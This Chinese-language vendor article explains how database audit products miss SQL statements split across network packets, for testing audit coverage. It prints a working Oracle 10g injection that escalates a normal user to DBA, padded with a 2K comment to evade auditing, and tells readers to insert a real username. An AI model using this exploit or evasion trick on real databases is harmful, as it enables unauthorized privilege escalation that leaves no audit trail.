安華金和全面適配國(guó)產(chǎn)化操作系統(tǒng)及芯片CPU
數(shù)據(jù)安全治理關(guān)鍵技術(shù)之?dāng)?shù)據(jù)庫(kù)脫敏技術(shù)詳解
數(shù)據(jù)安全治理之API監(jiān)測(cè)系統(tǒng) ,解決API接口安全問(wèn)題【安華金和】
新一代數(shù)據(jù)庫(kù)脫敏技術(shù),為敏感數(shù)據(jù)建立保護(hù)盾!
數(shù)據(jù)庫(kù)脫敏系統(tǒng)與金融行業(yè)案例解讀
數(shù)據(jù)安全治理建設(shè)思路的著力點(diǎn)——數(shù)據(jù)安全咨詢(xún)服務(wù)【安華金和】
數(shù)據(jù)庫(kù)防火墻功能有哪些?-數(shù)據(jù)安全-安華金和
數(shù)據(jù)安全關(guān)鍵技術(shù)之?dāng)?shù)據(jù)庫(kù)脫敏技術(shù)詳解【安華金和】
中國(guó)數(shù)據(jù)安全治理落地指導(dǎo)書(shū)籍《數(shù)據(jù)安全治理白皮書(shū)5.0》正式發(fā)布(附下載)
大多數(shù)的SQL語(yǔ)句都在1K以里長(zhǎng)度,市面上的數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品大多都能準(zhǔn)確記錄下,也能實(shí)現(xiàn)正常的解析;但在SQL語(yǔ)句超過(guò)1.5K時(shí),很多的數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品就會(huì)發(fā)生漏審,或者只能審計(jì)下部分SQL語(yǔ)句。
一般Oracle一個(gè)通訊包的長(zhǎng)度在2K,單一包內(nèi)能夠容納的語(yǔ)句長(zhǎng)度大約在1.4K多一點(diǎn)(大約為1460);超過(guò)這個(gè)大小的SQL語(yǔ)句一般會(huì)拆分成多包;在Oracle 11g下通常通訊包為2K,最大可以達(dá)到8K;對(duì)于Oracle數(shù)據(jù)庫(kù)沒(méi)有明確說(shuō)明可兼容的SQL語(yǔ)句的長(zhǎng)度,有的說(shuō)32K或64K是個(gè)臨界點(diǎn),但筆者也曾作過(guò)嘗試2M做的SQL語(yǔ)句也能發(fā)送并被Oracle正常解析。
對(duì)于一些數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品,由于沒(méi)有將多個(gè)SQL通訊包進(jìn)行有效解析和關(guān)聯(lián),在發(fā)生長(zhǎng)SQL語(yǔ)句時(shí)會(huì)發(fā)生無(wú)法解析或解析不全的情況;具體表現(xiàn)是,對(duì)于長(zhǎng)SQL語(yǔ)句并未記錄,或僅記錄了前半部分。
這種情況的危害是,對(duì)于有些業(yè)務(wù)系統(tǒng)中自身就包含長(zhǎng)SQL語(yǔ)句,比如經(jīng)分系統(tǒng),報(bào)表系統(tǒng),這些SQL語(yǔ)句會(huì)被漏記;同時(shí),一些黑客或攻擊人員會(huì)利用這樣的一些漏洞,進(jìn)行數(shù)據(jù)庫(kù)攻擊而不留下痕跡。比如,若某個(gè)數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品,是基于單包解析機(jī)制進(jìn)行的,則對(duì)于超過(guò)1.5K的SQL語(yǔ)句無(wú)法記錄或僅記錄了前1.5K,則攻擊者可以首先加入1.5K長(zhǎng)的注釋?zhuān)缓笤賹?xiě)語(yǔ)句,這樣會(huì)發(fā)生漏審或被審計(jì)下來(lái)的信息無(wú)效。
以下是來(lái)自于某個(gè)真實(shí)應(yīng)用的SQL語(yǔ)句,達(dá)到1.9K;若是讀者有相關(guān)的數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品,可以用Toad或PL/SQL這樣的工具進(jìn)行發(fā)送,觀(guān)測(cè)下所擁有的產(chǎn)品是否能夠?qū)徲?jì)下來(lái),審計(jì)記錄是否完全。
select spname,bm,sum(num) as heji,sum(case when fddm='002' then num else 0 end) as shipai,sum(case when fddm='063' then num else 0 end) as songbo,sum(case when fddm='005' then num else 0 end) as duobao,sum(case when fddm='006' then num else 0 end) as guangwei,sum(case when fddm='007' then num else 0 end) as jianshe,sum(case when fddm='008' then num else 0 end) as donghua,sum(case when fddm='039' then num else 0 end) as tongdong,sum(case when fddm='010' then num else 0 end) as jiebei,sum(case when fddm='011' then num else 0 end) as sanyuanli,sum(case when fddm='012' then num else 0 end) as nantai,sum(case when fddm='013' then num else 0 end) as huanshi,sum(case when fddm='014' then num else 0 end) as zhanqian,sum(case when fddm='015' then num else 0 end) as lujiang,sum(case when fddm='016' then num else 0 end) as dongchuan,sum(case when fddm='017' then num else 0 end) as taisha,sum(case when fddm='018' then num else 0 end) as huifuxi,sum(case when fddm='019' then num else 0 end) as zhujiang,sum(case when fddm='041' then num else 0 end) as donghu,sum(case when fddm='021' then num else 0 end) as wenming,sum(case when fddm='062' then num else 0 end) as huifu2,sum(case when fddm='042' then num else 0 end) as shiji,sum(case when fddm='043' then num else 0 end) as xincheng,sum(case when fddm='045' then num else 0 end) as gaoqiao,sum(case when fddm='046' then num else 0 end) as shixi,sum(case when fddm='047' then num else 0 end) as nanzhou,sum(case when fddm='048' then num else 0 end) as sanyuanlidadao,sum(case when fddm='050' then num else 0 end) as jingxi,sum(case when fddm='051' then num else 0 end) as chigang,sum(case when fddm='052' then num else 0 end) as panfu,sum(case when fddm='053' then num else 0 end) as jichangxi,sum(case when fddm='054' then num else 0 end) as shengdi,sum(case when fddm='055' then num else 0 end) as wendenan,sum(case when fddm='056' then num else 0 end) as ronghuanan from sale3 where khname in ('$khbmem') group by bm;
以下是另一個(gè)模擬的攻擊性的SQL語(yǔ)句,這個(gè)語(yǔ)句在Oracle 10g上運(yùn)行,將把一個(gè)普通的數(shù)據(jù)庫(kù)用戶(hù)提權(quán)到DBA;但我們?cè)趯?duì)這個(gè)語(yǔ)句發(fā)送前,在前面用2K的注釋進(jìn)行掩護(hù),請(qǐng)筆者觀(guān)測(cè)下所擁有的產(chǎn)品能否將這個(gè)語(yǔ)句審計(jì)下來(lái),審計(jì)結(jié)果是否完善。
/*************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
*************************************************************************/
select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR',
'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' grant dba to NormalUser'''';END;'';END;--','SYS‘,0,'1',0) from dual;
在實(shí)驗(yàn)時(shí),請(qǐng)讀者別忘了將NormalUser改為實(shí)際的用戶(hù)名,則運(yùn)行通過(guò)后將實(shí)現(xiàn)提權(quán)。
SQL Server的通訊包一般在4K,超過(guò) 4088個(gè)字符的SQL語(yǔ)句將被拆分;SQL Server支持的連續(xù)SQL通訊可達(dá)到256M,而對(duì)于SQL語(yǔ)句的長(zhǎng)度沒(méi)有明確限制(據(jù)網(wǎng)上的測(cè)試數(shù)據(jù),應(yīng)該超過(guò)228K)。
MySQL的通訊包默認(rèn)在1M,在單個(gè)包的內(nèi)的語(yǔ)句可以被執(zhí)行,MySQL不支持將SQL語(yǔ)句拆分到多個(gè)包中。
讀者可以自行構(gòu)造一些針對(duì)SQL Server、MySQL的SQL語(yǔ)句進(jìn)行嘗試,看我們所擁有的數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品是否能進(jìn)行準(zhǔn)確的審計(jì)記錄。要注意的是,類(lèi)似于Toad、PL/SQL這樣的客戶(hù)端工具通常都有SQL語(yǔ)句的長(zhǎng)度限制,但這往往不是數(shù)據(jù)庫(kù)的SQL長(zhǎng)度限制。
傳統(tǒng)的基于網(wǎng)絡(luò)審計(jì)發(fā)展而來(lái)的數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品一般都沒(méi)有實(shí)現(xiàn)跨包的SQL語(yǔ)句拼接,這些產(chǎn)品在測(cè)試或一般性的應(yīng)用環(huán)境都不易暴漏出問(wèn)題,但對(duì)于一些復(fù)雜的經(jīng)營(yíng)分析系統(tǒng),基于自動(dòng)SQL語(yǔ)句拼接編程的OA系統(tǒng)等,將會(huì)發(fā)生漏審的狀況。通常在發(fā)生漏審時(shí),用戶(hù)大多得到的解釋都是歸結(jié)于網(wǎng)絡(luò)流量鏡像的不穩(wěn)定,可能造成了通訊包丟失。
從數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品開(kāi)發(fā)的角度,不可能對(duì)SQL語(yǔ)句的長(zhǎng)度不限長(zhǎng)地記錄,關(guān)鍵是要看相關(guān)產(chǎn)品指標(biāo)是否滿(mǎn)足所應(yīng)用的業(yè)務(wù)環(huán)境需求,以及能否有效過(guò)濾掉攻擊性語(yǔ)句的掩護(hù)性字符。
試用申請(qǐng)
在線(xiàn)咨詢(xún)
咨詢(xún)電話(huà)
TOP